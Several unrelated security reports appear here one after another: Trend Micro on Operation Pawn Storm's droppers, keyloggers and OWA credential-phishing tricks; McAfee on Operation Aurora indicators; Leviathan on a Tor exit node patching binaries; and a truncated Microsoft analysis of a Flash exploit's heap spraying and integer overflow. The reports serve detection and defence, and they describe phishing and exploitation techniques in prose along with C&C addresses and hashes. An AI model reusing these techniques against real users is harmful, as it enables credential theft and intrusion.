exe (SHA-1: 4B 8806FE8E0CB4 9E4AA5D8F877 66415A2DB1E9 A9) into AppData\ Microsoft\Crypt\ Dropper DLL drops netids.dll (SHA-1: dd 61530076152dae56 8b4834b1899212c9 6c1a02) into Local Settings\ Application Data\ APEC Media list 2013 Part1.xls drops dw20.t (SHA-1: ac6b 465a13370f87cf579 29b7cfd1e45c36945 85), a .DLL file Saver.scr drops: IDF_ Spokesperson_ Targeted_ Attack_101012.
doc (SHA-1: F5 42C5F9259274 D94360013D14 FFBECC43AAE 552), a decoy document, into Local Settings\Temp\ Install.exe (SHA-1: BC58A 8550C53689C8 148B021C917F B4AEEC62AC 1) into Local Settings\Temp\ W.q drops: Coreshell.dll (SHA-1: A85513 97E1F1A2C014 8E6EADCB56F A35EE6009CA) into Program Files\Common Files\System\ Tmp64.dat, a copy of coreshell.dll, into Program Files\Common Files\System\ 9 Trend Micro  Operation Pawn Storm Operation Pawn Storm Attack Comparison Case 1 Case 2 Case 3 [13] Case 4 Case 5 Case 6 Netids.dll communicates with a CC server (200.106.145.122) Military Cooperation.
doc has been encoded using Cyrillic characters and opens in Word Skype.exe drops: Downloader (netids.dll SHA-1: 6b87 5661a74c46 73ae6ee89a cc5cb6927ca 5fd0d), a SEDNIT variant, into Windows\ system32\ Copy of netids.dll (mscsv.
tmp) into Windows\ system32\ Cryptmodule.
exe drops s.vbs (actually a .PE and not a .VBS file) and communicates with a CC server (windous.
kz) Netids.dll downloads and saves msmvs.
exe (SHA-1: 88f7e27 1e54c127912db4db 49e37d93aea8a49c 9) in Local Settings\Temp\ Dw20.t drops netids.
dll (SHA-1: 3814eec 8c45fc4313a9c7f65c e882a7899cf0405) Install.exe drops netids.dll (SHA-1: 14 BEEB0FC5C8C887 D0435009730B6370 BF94BC93) into Windows\ system32\ Coreshell.dll downloads conhost.
dll (SHA-1: B49FAD 3E5E6787E96373A C37ED58083F7572 D72A), a dropper, from a CC server 10 Trend Micro  Operation Pawn Storm Operation Pawn Storm Attack Comparison Case 1 Case 2 Case 3 [13] Case 4 Case 5 Case 6 CC server confirms receipt of communication from infected systems then stops further interactions Netids.dll communicates with a CC server (70.85.221.20) S.vbs (SHA-1: 0 A3E6607D5E9 C59C712106C3 55962B11DA29 02FC) runs CreateFile C:\\ DOCUME1\\ ADMINI1\\ LOCALS1\\ Temp\\update.
exe but does nothing else Msmvs.exe drops conhost.dll (SHA-1: 55318328511961EC 339DFDDCA044306 8DCCE9CD2) into Local Settings\ Temp\ Netids.dll communicates with a CC server (70.85.221.10) Netids.dll communicates with a CC server (70.85.221.10) Conhost.dll drops advstoreshell.dll (SHA-1: E338A57C3 5A4732BBB5F738E 2387C1671A002BC B), a keylogger Conhost.dll drops netui.dll (SHA-1: 5A452E7248A8D37 45EF53CF2B1F3D7 D8479546B9), a keylogger, into Windows\ system32\ Advstoreshell.dll sends logs of stolen data to a CC server (software-update.
org) Netui.dll sends logs of stolen data to a CC server (200.74.244.118) Trend Micro  Operation Pawn Storm 11 Next-Level Phishing Targets The attackers used specially crafted emails to redirect targets to any of several phishing websites with domain names that were very similar to those of well-known conferences and media outfits.
These websites did not host malicious content but visiting them did lead to the automatic execution of a nonmalicious JavaScript.
Links to these fake websites were then embedded in spear- phishing emails and sent to selected targets.
Opening such an email and clicking the link in OWA redirected victims to legitimate websites.
The JavaScript made it appear that the victims OWA sessions ended while at the same time, tricked them into reentering their credentials.
To do this, the attackers redirected victims to fake OWA log-in pages by setting their browsers open windows property.
The victims credentials thus ended up in the attackers hands.
Note that two special conditions need to be met for the attacks to succeedvictims should use OWA and click the embedded links via the web portals preview pane.
The attacks worked on any popular browser such as Firefox, Safari, Chrome, and Internet Explorer.
No vulnerabilities need to be exploited for the JavaScript to work.
Because many companies allow employees to use webmail services to access their mailboxes while on business travel or at home, these attacks are likely to succeed.
Once they do, attackers can gain access to compromised mailboxes that they can then use to gain a foothold in target networks.
Throughout the course of investigation, several targets have been identified, including: ACADEMI, formerly Blackwater (United States) Broadcasting companies in various countries Military attachs from various countries Ministry of Defense (France) Ministry of Defense (Hungary) Multinational company based in Germany Organization for Security and Co- operation in Europe (OSCE) (Austria) Pakistani military officials Polish government employees SAIC (United States) U.S. Department of State Vatican Embassy (Iraq) The following case studies reveal more in- depth details on four specific attacks.
CASE 1: MINISTRY OF DEFENSE, HUNGARY Malicious conference domain: eurosatory2014.com Real conference domain: eurosatory.com Phished OWA domain: mail.hm.
qov.hu Real OWA domain: mail.hm.gov.hu The attackers created a domain that was very similar to eurosatory.com [14], a website for an international land and air-land defense and security exhibition.
They then sent emails with the link, http://eurosatory2014.com, to selected employees of the target defense ministry who might actually have been expecting to hear from the conference staff Trend Micro  Operation Pawn Storm 12 members.
Clicking the link embedded in the email via the OWA preview pane opens the real conference website in a new tab.
The victims OWA session in the other tab, meanwhile, is redirected to a phished log-in page that makes it look like the session has ended.
Real EUROSATORY 2014 conference website opens in a new tab after clicking the link in a spear-phishing email viewed in OWA Closed OWA session page (fake) victims will see, forcing them to reenter their credentials In reality, the victims OWA session did not end.
The previously mentioned JavaScript just redirected them to a fake OWA log- in page that looks just like the Ministry of Defense in Hungarys real one.
Apart from EUROSATORY 2014, other conferences were also used to target employees of the Ministry of Defense in Hungary as shown in the following table.
Similar Attacks Against the Ministry of Defense, Hungary Conference Target Domain Malicious Domain Africa Aerospace and Defence 2014 aadexpo.co.za aadexpo2014.co.za The 10th Special Operations Forces Exhibition  Conference sofexjordan.com sofexjordan2014.com ITEC itec.co.uk itec2014.co.uk Trend Micro  Operation Pawn Storm 13 CASE 2: OSCE, AUSTRIA Malicious news domain: vice-news.
com Real news domain: news.vice.com Phished OWA domain: log-in-osce.
org Real OWA domain: log-in.osce.org This attack targeted OSCE employees in Austria.
Although the attackers used similar tactics, they did not spoof a conference website.
They instead used a fake version of the news website, news.vice.com.
Comparison of the legitimate (top) and spoofed (bottom) OWA log-in pages of OSCE Even though OSCE provides better security for webmail users compared with the other targets via one-time session token use during log-in, attackers can still steal highly sensitive data from victims by hijacking a single session.
CASE 3: SAIC, UNITED STATES Malicious conference domain: natoexhibitionff14.com Real conference domain: natoexhibition.org Phished OWA domain: webmail- saic.com Real OWA domain: webmail.saic.
com This attack targeting SAIC was very similar to the first case.
The attackers spoofed the website of the Future Forces 2014 conference to trick email recipients into handing over their webmail credentials.
Comparison of the legitimate (top) and spoofed (bottom) OWA log-in pages of SAIC CASE 4: ACADEMI Malicious news domain: tolonevvs.
com Real news domain: tolonews.com Phished OWA domain: academl.
com Real OWA domain: academi.com Trend Micro  Operation Pawn Storm 14 This attack targeted the employees of U.S. defense contractor, ACADEMI, using the same phishing tactics as in the second case.
Comparison of the legitimate (top) and spoofed (bottom) OWA log-in pages of ACADEMI Apart from the four specific cases presented above, evidence pointing to a fake OWA server for a multinational company based in Germany was also discovered.
The threat actors registered a domain that looked very similar to the targets real domain and purchased a Secure Sockets Layer (SSL) certificate for the fake domain as part of preparations for a targeted attack.
Trend Micro was able to warn the target early on, which helped thwart the threat.
Other Webmail Services OWA users are not the only ones at risk though, as the threat actors behind Operation Pawn Storm also targeted users of free webmail services such as Gmail, Live Mail, Yahoo, Hushmail, and Yandex.
Trend Micro  Operation Pawn Storm 15 Sample Gmail, Live Mail, Hushmail, and Yandex account phishing websites We leaked specific credentials to the threat actors in a couple of cases to see if the fake webmail service log-in pages were indeed intended for attack use.
Within minutes of leaking the test credentials, unauthorized log-ins were recorded.
The first log-in was usually an automated log- in check from the same IP address as the phishing websites owner.
The succeeding log-ins were made from the IP addresses, 46.166.162.90 (Latvia) and 192.154.110.244 (United States), via Internet Message Access Protocol (IMAP).
No other forms of abuse such as sending spam via the compromised accounts were witnessed.
This showed that the attackers were indeed trying to obtain sensitive data from their targets instead of using their accounts for fraud and other financially motivated scams.
Trend Micro  Operation Pawn Storm 16 CONCLUSION Operation Pawn Storm used next-level spear-phishing tactics to obtain the email credentials of primarily military, embassy, and defense contractor personnel from the United States and its allies.
The threat actors used a mix of spear-phishing emails and specially crafted webmail service phishing websites to gain access to victims inboxes in hopes of getting better footholds inside target organizations.
So as not to raise suspicion, the attackers used well-known events and conferences as social engineering bait.
They have been quite persistent as well, as we have seen evidence that attacks have been going on since 2007.
Apart from effective phishing tactics, the threat actors used a combination of proven targeted attack staples to compromise systems and get in to target networks exploits and data-stealing malware.
SEDNIT variants particularly proved useful, as these allowed the threat actors to steal all manners of sensitive information from the victims computers while effectively evading detection.
Trend Micro has notified the targets that have been identified in this paper.
Individuals and their respective organizations, meanwhile, should use solutions that can help protect against the various attack vectors that the threat actors behind Operation Pawn Storm used.
Messaging security solutions such as Trend Micro InterScan Messaging Security [15] and the ScanMail Suite for Microsoft Exchange [16] can send suspicious email attachments to a sandbox for analysis, thus protecting recipients from threats.
Other products such as OfficeScan [17] for endpoints and InterScan Web Security Virtual Appliance [18] for gateways can also block user access to known phishing sites.
For overall protection against targeted attacks, Trend Micro Deep Discovery [19] can help protect potential targets by sandboxing and analyzing suspicious attachments to identify phishing emails via Email Inspector.
Via 360-degree monitoring of network traffic to get networkwide visibility and intelligence, Deep Discovery allows users to detect and respond to targeted attacks and advanced threats.
It also monitors all ports and more than 80 protocols, giving users the broadest protection available.
Even more, specialized detection engines and custom sandboxing help identify and analyze malware, CC communications, and evasive attacker activities that are invisible to standard security solutions.
Along with in-depth threat intelligence, it allows for rapid response and automatic sharing with other security products to create real-time custom defense against attacks.
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Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information.
Our innovative solutions for consumers, businesses and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers and the cloud.
All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro Smart Protection Network, and are supported by over 1,200 threat experts around the globe.
For more information, visit www.trendmicro.com.
2014 by Trend Micro, Incorporated.
All rights reserved.
Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated.
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Phone: 1.817.569,8900 http://www.trendmicro.com/us/index.html Introduction Ties That Bind the Operation Pawn Storm Attacks Together SEDNIT Attack Timeline Attack Details Attack Evolution Next-Level Phishing Targets Case 1: Ministry of Defense, Hungary Case 2: OSCE, Austria Case 3: SAIC, United States Case 4: Academi Other Webmail Services Conclusion References
1 McAfee Labs: Combating Aurora By Rohit Varma, McAfee Labs Contents Overview ............................................................................................................................. 2 McAfee detection names for Aurora................................................................................... 3 Exploit-Comele ........................................................................................................... 3 Roarur.dr ..................................................................................................................... 3 Roarur.dll .................................................................................................................... 3 Symptoms ........................................................................................................................... 5 Characteristics ..................................................................................................................... 5 Common filenames and hashes ........................................................................................... 6 McAfee product coverage for Aurora ................................................................................. 7 Common URLs accessed.
.................................................................................................
10 Appendix A: Useful URLs related to Aurora ................................................................... 11 2 Combating Aurora Overview Operation Aurora, released the week of January 11, exploits the recent Microsoft Internet Explorer vulnerability.
The attack was initially targeted at several large companies, including Google.
It is now public and is available on the web.
The public release significantly increases the possibility of widespread attacks exploiting the vulnerability, putting Internet Explorer users at potentially serious risk.
Microsoft is aware of the targeted attacks and lists the following combinations as vulnerable: Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4, and Internet Explorer 6, Internet Explorer 7 and Internet Explorer 8 on supported editions of Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2.
http://www.microsoft.com/technet/security/advisory/979352.mspx Below we have a summary of McAfees assessment of Internet Explorer and platform risks: DEP 3 Data Execution Prevention (DEP) is a set of hardware and software technologies that perform additional checks on memory to help prevent malicious code from running on a system.
In Microsoft Windows XP Service Pack 2 (SP2) and Microsoft Windows XP Tablet PC Edition 2005, DEP is enforced by hardware and by software.
The primary benefit of DEP is to help prevent code execution from data pages.
Typically, code is not executed from the default heap and the stack.
Hardware- enforced DEP detects code that is running from these locations and raises an exception when execution occurs.
Software-enforced DEP can help prevent malicious code from taking advantage of exception-handling mechanisms in Windows.
McAfee detection names for Aurora Exploit-Comele This maliciously crafted script attempts to exploit the vulnerability when Internet Explorer handles certain DOM operations.
An attacker may exploit this issue to execute remote code.
http://vil.nai.com/vil/content/v_253210.htm Roarur.dr This Trojan drops further malicious files onto the victims computer.
http://vil.nai.com/vil/content/v_253415.htm Roarur.dll This Trojan is dropped by the roarur.dr Trojan.
The dll creates an additional service on the victims computer and checks for certain files on the system.
The files it looks for are 4 acelpvc.dll (presence of this file does not necessarily imply an infection ) .
acelpvc.dll is used to stream live desktop feeds to the attacker VedioDriver.dll (presence of this file does not necessarily imply an infection )- Helper dll for acelpvc.dll http://vil.nai.com/vil/content/v_253416.htm Aliases Trojan.
Hydraq 5 Symptoms Outbound network connections to hxxp://demo[remove].jpg The presence of the following files: SystemDir\Rasmon.dll SYSDIR\DFS.bat The presence of the following registry keys: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[ random 4 chars ] ImagePath  SystemRoot\svchost.exe -k netsvcs HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[ random 4 chars ] Start 02, 00, 00, 00 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[ random 4 chars ]\Parameters ServiceDll  SystemRoot\rasmon.dll Characteristics Aurora demonstrates these four infection characteristics: 6 Common filenames and hashes securmon.dll: E3798C71D25816611A4CAB031AE3C27A Rasmon.dll: 0F9C5408335833E72FE73E6166B5A01B a.exe: CD36A3071A315C3BE6AC3366D80BB59C b.exe 9F880AC607CBD7CDFFFA609C5883C708 AppMgmt.dll 6A89FBE7B0D526E3D97B0DA8418BF851 A0029670.dll 3A33013A47C5DD8D1B92A4CFDCDA3765 msconfig32.sys 7A62295F70642FEDF0D5A5637FEB7986 VedioDriver.dll 467EEF090DEB3517F05A48310FCFD4EE acelpvc.dll 4A47404FC21FFF4A1BC492F9CD23139C wuauclt.exe 69BAF3C6D3A8D41B789526BA72C79C2D jucheck.exe 79ABBA920201031147566F5418E45F34 AdobeUpdateManager.exe 9A7FCEE7FF6035B141390204613209DA zf32.dll EB4ECA9943DA94E09D22134EA20DC602 This data is subject to change.
For the latest data, please visit McAfee Aurora site http://www.mcafee.com/us/threat_center/operation_aurora.html 7 McAfee product coverage for Aurora The McAfee Labs Aurora Stinger tool The Aurora Stinger tool detects and removes threats associated with Operation Aurora attacks.
http://download.nai.com/products/mcafee-avert/aurora_stinger.exe Extended McAfee product coverage details: McAfee Web Gateway.
TrustedSource has coverage for domains and IP addresses that the malware contacts.
Coverage for associated malware was released January 15 (as BehavesLike.
JS.Obfuscated.
E).
Proactive coverage existed for some components (as Trojan.
Crypt.
XDR.Gen).
McAfee Application Control.
All versions of McAfee Application Control protect against infection, without requiring updates, and will prevent all versions of the Aurora attack witnessed to date.
McAfee Firewall Enterprise.
TrustedSource has coverage for domains and IP addresses that the malware contacts.
The embedded McAfee anti-virus scanning engine in Firewall Enterprise Version 7.0.1.02 and later provides coverage for supported protocols via standard McAfee DAT updates.
Coverage for known exploits and associated malware is provided as Exploit-Comele, Roarur.dr, and Roarur.dll in the 5862 DATs, released January 15.
McAfee SiteAdvisor, SiteAdvisor Plus, SiteAdvisor Enterprise.
TrustedSource has coverage for domains and IP addresses that the malware contacts.
McAfee Email and Web Security Appliances.
TrustedSource has coverage for domains and IP addresses that the malware contacts.
Aurora coverage in McAfee point products: Exploit-Comele Trojan DAT files Coverage is provided as Exploit-Comele in the 5860 DATs, released January 13, for known exploits.
VSE BOP Out of scope Host IPS Out of scope McAfee Network Security Platform The UDS release of January 14 contains the signature UDS-HTTP: Microsoft Internet Explorer HTML DOM Memory Corruption, which provides coverage.
8 McAfee Vulnerability Manager Coverage not warranted at this time MNAC 2.x Coverage not warranted at this time McAfee Remediation Manager Malware coverage is out of scope.
McAfee Policy Auditor SCAP Out of scope MNAC SCAP Out of scope Roarur.dr Trojan DAT files Coverage is provided as Roarur.dr in the 5862 DATS, released January 15.
VSE BOP Out of scope Host IPS Out of scope McAfee Network Security Platform McAfee Network Security Platform versions with Artemis enabled (6.0.x) provide coverage for this malware.
Out of scope for prior versions.
McAfee Vulnerability Manager Coverage not warranted MNAC 2.x Coverage not warranted McAfee Remediation Manager Malware coverage is out of scope.
McAfee Policy Auditor SCAP Out of scope MNAC SCAP Out of scope Roarur.dll Trojan DAT files Coverage is provided as Roarur.dll in the 5862 DATs, released January 15.
VSE BOP Out of scope Host IPS Out of scope McAfee Network Security Platform McAfee Network Security Platform versions with Artemis enabled (6.0.x) provide coverage for this malware.
Out of scope for prior versions.
McAfee Vulnerability Manager The FSL/MVM package of January 15 includes a vulnerability check to assess if your systems are at risk.
MNAC 2.x The MNAC release of February 10 will include a vulnerability check to assess if your systems are at risk.
McAfee Remediation Manager Malware coverage is out of scope.
McAfee Policy Auditor SCAP Out of scope MNAC SCAP Out of scope 9 Microsoft Internet Explorer DOM Operation Memory Corruption Vulnerability Threat Identifier(s) CVE-2010-0249 Threat Type Vulnerability Risk Assessment High Main Threat Vectors E-Mail Web User Interaction Required No Description A memory corruption vulnerability in some versions of Microsoft Internet Explorer may lead to remote code execution or an application crash.
The flaw lies in Internet Explorers handling of certain DOM operations.
Exploitation can occur via a maliciously crafted file or a maliciously crafted web page and allow an attacker to execute arbitrary code.
Failed exploit attempts may result in an application crash (denial of service).
Importance High.
On January 14 Microsoft publicly disclosed this vulnerability.
Active exploitation has been observed in the wild.
McAfee Product Coverage DAT files Coverage for known exploits and associated malware is provided as Exploit-Comele, Roarur.dr, and Roarur.dll in the 5862 DATs, released January 15.
VSE BOP Generic buffer overflow protection is expected to cover some, but not all, exploits.
Host IPS Generic buffer overflow protection is expected to cover some, but not all, exploits.
McAfee Network Security Platform Extended coverage is provided in the January 18 UDS release via the signature Microsoft Internet Explorer HTML DOM Memory Corruption III.
Coverage was originally provided in the UDS release of January 14.
McAfee Vulnerability Manager The FSL/MVM package of January 14 includes a vulnerability check to assess if your systems are at risk.
MNAC 2.x Under analysis McAfee Remediation Manager Remediation Manager provides mitigation for this issue by elevating Internet Explorer settings in the Internet and Local Intranet zones.
A remedy for this issue will be provided upon release of an official vendor patch.
10 Cleaning and Repair A full on-demand scan must run to completely clean an infected host.
In some cases, it may also be necessary to run the on-demand scan in Safe Mode, as well as run a second scan after a reboot.
It is critical that the on-demand scan be configured properly.
The proper configuration: Scan All Local Drives Memory for Rootkits Running Processes Registry First Action set to Clean The full, recommended process: Launch a full on-demand scan with the prior-documented configuration Allow the scan to run to completion Reboot Launch a second on-demand scan and allow it to run to completion to verify that the system has been cleaned Common URLs accessed The following domains need to be blocked at the firewall: 360.homeunix.com 69.164.192.4 alt1.homelinux.com amt1.homelinux.com aop1.homelinux.com app1.homelinux.com blogspot.blogsite.org filoups.info ftp2.homeunix.com ftpaccess.cc google.homeunix.com members.linode.com sl1.homelinux.org sl1.homelinux.org tyuqwer.dyndns.org update.ourhobby.com voanews.ath.cx webswan.33iqst.com:4000 yahoo.8866.org ymail.ath.cx yahooo.8866.org sl1.homelinux.org 360.homeunix.com ftp2.homeunix.com update.ourhobby.com connectproxy.3322.org csport.2288.org 11 This data is subject to change.
For the latest data, please visit McAfee Aurora site http://www.mcafee.com/us/threat_center/operation_aurora.html Appendix A: Useful URLs related to Aurora http://www.mcafee.com/us/local_content/reports/how_can_u_tell.pdf http://www.mcafee.com/us/threat_center/aurora_enterprise.html http://newsroom.mcafee.com/article_display.cfm?article_id3613 http://www.mcafee.com/us/threat_center/operation_aurora.html http://www.avertlabs.com/research/blog/ http://www.microsoft.com/technet/security/advisory/979352.mspx http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-0249 http://podcasts.mcafee.com/audioparasitics/AudioParasitics-Episode80-01-2010.mp3 http://community.mcafee.com/groups/operation-aurora
Background Summary After creating and using a new exitmap module, I found downloaded binaries being patched through a Tor exit node in Russia.
Tor is a wonderful tool for protecting the identity of journalists, their sources, and even regular users around the world however, anonymity does not guarantee security.
At DerbyCon this year I gave a presentation of my binary patching framework, BDF.
Many binaries are hosted without any transport layer security encryption.
Some binaries are signed to prevent modification, but most are not.
During that presentation, I talked about the MITM patching of binaries during download, and showed how easy it was using BDFProxy.
I also mentioned that similar techniques are probably already in use on the Internet.
I had only circumstantial evidence until recently.
Circumstantial Evidence Microsoft Updates Error I tested BDFProxy against a number of binaries and update processes, including Microsoft Windows Automatic updates.
The good news is that if an entity is actively patching Windows PE files for Windows Update, the update verification process detects it, and you will receive error code 080200053.
http://www.youtube.com/watch?vLjUN9MACaTs https://github.com/secretsquirrel/the-backdoor-factory https://github.com/secretsquirrel/BDFProxy This error code indicates a failed signature verification for the downloaded binary.
Windows Update produces this error code for three root causes: 1.
The file was truncated during download.
Very possible.
2.
The file was patched during download.
Improbable.
3.
MS certificate verification is broken.
Very improbable.
If you Google the error code, the official Microsoft response is troublesome.
http://www.leviathansecurity.com/wp-content/uploads/failedSigs.png The first link will bring you to the official Microsoft Answers website.
Notice that this question has been viewed over 34,000 times.
http://www.leviathansecurity.com/wp-content/uploads/Google_error_80200053-e1414104864149.png http://answers.microsoft.com/en-us/windows/forum/windows_other-windows_update/error-code-80200053-on-windows-update-in-windows-7/0dafeca5-66ab-47c0-b594-c363f11961f1 http://www.leviathansecurity.com/wp-content/uploads/question.png If you follow the three steps from the official MS answer, two of those steps result in downloading and executing a MS Fixit solution executable.
If an adversary is currently patching binaries as you download them, these Fixit executables will also be patched.
Since the user, not the automatic update process, is initiating these downloads, these files are not automatically verified before execution as with Windows Update.
In addition, these files need administrative privileges to execute, and they will execute the payload that was patched into the binary during download with those elevated privileges.
Note: a Windows Home or Enterprise user could configure AppLocker to only run signed binaries.
Nullsoft Scriptable Install System (NSIS) Error NSIS provides a form of self-checking that weakly ensures that a binary was not modified after compiling.
It issues the following error when the self-checking fails: http://www.leviathansecurity.com/wp-content/uploads/answer.png Looking at Google Trends, this error message is quite common: Notice the top countries where this search is originating: http://www.leviathansecurity.com/wp-content/uploads/NSIScheck.png https://www.google.com/trends/exploreqNSIS20error http://www.leviathansecurity.com/wp-content/uploads/NSISerror.png A user can receive an error code for any of the following three root causes: 1.
The binary was patched.
Improbable.
2.
The binary was truncated due to a poor Internet connection.
Very probable.
3.
An actual error with the install program.
Very improbable.
This combined circumstantial evidence left me wondering if there is an individual or group actively patching binaries on the greater Internet.
Caught Red-Handed To have the best chance of catching modified binaries in transit over the Internet, I needed as many exit points in as many countries as possible.
Using Tor would give me this access, and thus the greatest chance of finding someone conducting this malicious MITM patching activity.
After researching the available tools, I settled on exitmap.
Exitmap is Python-based and allows one to write modules to check exit nodes for various modifications of traffic.
Exitmap is the result of a research project called Spoiled Onions that was completed by both the PriSec group at Karlstad University and SBA Research in Austria.
I wrote a module for exitmap, named patchingCheck.py, and have submitted a pull request to the official GitHub repository.
See the usage example.
Soon after building my module, I let exitmap run.
It did not take long, about an hour, to catch my first http://www.leviathansecurity.com/wp-content/uploads/topCountries.png https://www.torproject.org/index.html.en https://github.com/NullHypothesis/exitmap http://www.cs.kau.se/philwint/spoiled_onions/ http://prisec.kau.se/ https://www.kau.se/en http://www.sba-research.org/ https://github.com/leviathansecurity/exitmap/blob/master/src/modules/patchingCheck.py https://github.com/leviathansecurity/exitmap/blob/master/src/modules/patchingCheck.pyL45 malicious exit node.
Details from https://check.torproject.org/exit-addresses ExitNode 8361A794DFA231D863E109FC9EEEF21F4CF09DDD Published 2014-10-22 01:06:40 LastStatus 2014-10-22 02:02:33 ExitAddress 78.24.222.229 2014-10-22 02:08:01 This exit node was very active.
Upon further inspection, the original binary is wrapped within another binary similar to the technique mentioned in the research from Flex Grobert, et al, titled Software Distribution Malware Infection Vector (2008).
However, these malware authors solved the icon issue noted in the paper by keeping the .rsrc section intact.
By using a wrapper for the original binary, the malware authors do not invoke the NSIS error and bypass simple self-checking mechanisms.
Out of over 1110 exit nodes on the Tor network, this is the only node that I found patching binaries, although this node attempts to patch just about all the binaries that I tested.
The node only patched uncompressed PE files.
This does not mean that other nodes on the Tor network are not patching binaries I may not have caught them, or they may be waiting to patch only a small set of binaries.
Leviathan has notified the Tor Project of the issue.
Going Forward Companies and developers need to make the conscious decision to host binaries via SSL/TLS, whether or not the binaries are signed.
All people, but especially those in countries hostile to Internet freedom, as well as those using Tor anywhere, should be wary of downloading binaries hosted in the clearand all users should have a way of checking hashes and signatures out of band prior to executing the binary.
http://www.leviathansecurity.com/wp-content/uploads/falseNegative.png http://dl.packetstormsecurity.net/papers/general/Software.
Distribution.
Malware.
Infection.
Vector.pdf
June 20, 2016 Reverse-engineering DUBNIUMs Flash-targeting exploit blogs.technet.microsoft.com/mmpc/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/ The DUBNIUM campaign in December involved one exploit in-the-wild that affected Adobe Flash Player.
In this blog, were going to examine the technical details of the exploit that targeted vulnerability CVE-2015-8651.
For more details on this vulnerability, see Adobe Security Bulletin APSB16-01 .
Note that Microsoft Edge on Windows 10 was protected from this attack due to the mitigations introduced into the browser.
Vulnerability exploitation Adobe Flash Player version checks The nature of the vulnerability is an integer overflow, and the exploit code has quite extensive subroutines in it.
It tries to cover versions of the player from 11.x to the most recent version at the time of the campaign, 20.0.0.235.
The earliest version of Adobe Flash Player 11.x was released in October 2011 (11.0.1.152) and the last version of Adobe Flash Player 10.x was released in June 2013 (10.3.183.90).
This doesnt necessarily mean the exploit existed from 2011 or 2013, but it again demonstrates the broad target the exploit tries to cover.
Figure 1 Version check for oldest Flash Player the exploit targets Mainly we focused our analysis upon the function named qeiofdsa, as the routine covers any Adobe Flash player version since 19.0.0.185 (released on September 21, 2015).
1/12 https://blogs.technet.microsoft.com/mmpc/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/ http://www.cvedetails.com/cve/CVE-2015-8651/ https://helpx.adobe.com/security/products/flash-player/apsb16-01.html https://msdnshared.blob.core.windows.net/media/2016/06/d2-1.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-2.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-3.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-4.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-5.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-6.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-7.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-8.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-9.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-10.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-11.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-12.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-13.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-14.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-15.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-16.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-17.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-18.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-19.png https://msdnshared.blob.core.windows.net/media/2016/06/d2-20.png Figure 2 Version check for latest Flash Player the exploit supports Why is this version of Flash Player so important?
Because that is the release which had the latest Vector length corruption hardening applied at the time of the incident.
The original Vector length hardening came with 18.0.0.209 and it is well explained in the Security  Adobe blog https://blogs.adobe.com/security/2015/12/community- collaboration-enhances-flash.html.
The Vector object from Adobe Flash Player can be used as a corruption target to acquire read or write (RW) primitives.
This object has a very simple object structure and predictable allocation patterns without any sanity checks on the objects.
This made this object a very popular target for exploitation for recent years.
There were a few more bypasses found after that hardening, and 19.0.0.185 had another bypass hardening.
The exploit uses a new exploitation method (ByteArray length corruption) since this new version of Adobe Flash Player.
Note, however, that with new mitigation from Adobe released after this incident, the ByteArray length corruption method no longer works.
To better understand the impact of the mitigations on attacker patterns, we compared exploit code line counts for the pdfsajoe routine, which exploits Adobe Flash Player versions earlier than 19.0.0.185, to the qeiofdsa routine, which exploits versions after 19.0.0.185.
We learned that pdfsajoe has 139 lines of code versus qeiofdsa with 5,021.
While there is really no absolute way to measure the impact and line code alone is not a standard measurement, we know that in order to target the newer versions of Adobe Flash Player, the attacker would have to write 36 more times the lines of code.
Subroutine name pdfsajoe qeiofdsa Vulnerable Flash Player version Below 19.0.0.185 19.0.0.185 and up Mitigations No latest Vector mitigations Latest Vector mitigations applied Lines of attack code 139 lines 5,021 lines Ratio 1 36 Table 1 Before and after Vector mitigation 2/12 https://blogs.adobe.com/security/2015/12/community-collaboration-enhances-flash.html Figure 3 Heap-spraying code This tells us a lot about the importance of mitigation and the increasing cost of exploit code development.
Mitigation in itself doesnt fix existing vulnerabilities, but it is definitely raising the bar for exploits.
Heap spraying and vulnerability triggering The exploit heavily relies on heap spraying.
Among heap spraying of various objects, the code from Figure 3 shows the code where the ByteArray objects are sprayed.
This ByteArray has length of 0x10.
These sprayed objects are corruption targets.
The vulnerability lies in the implementation of fast memory opcodes.
More detailed information on the usage of fast memory opcodes are available in the Faster byte array operations with ASC2  article at the Adobe Developer Center.
After setting up application domain memory, the code can use avm2.intrinsics.memory.
The package provides various methods including li32 and si32 instructions.
The li32 can be used to load 32bit integer values from fast memory and si32 can be used to store 32bit integer values to fast memory.
These functions are used as methods, but in the AVM2 bytecode level, they are opcode themselves.
Figure 4 Setting up application domain memory Due to the way these instructions are implemented, the out-of-bounds access vulnerability happens (Figure 5).
The key to this vulnerability is the second li32 statement just after first li32 one in each IF statement.
For example, from the li32((_local_40x7FEDFFD8)) statement, the _local_40x7FEDFFD8 value ends up as 4 after integer overflow.
From the just-in-time (JIT) level, the range check is only generated for this li32 statement, skipping the range check JIT code for the first li32 statement.
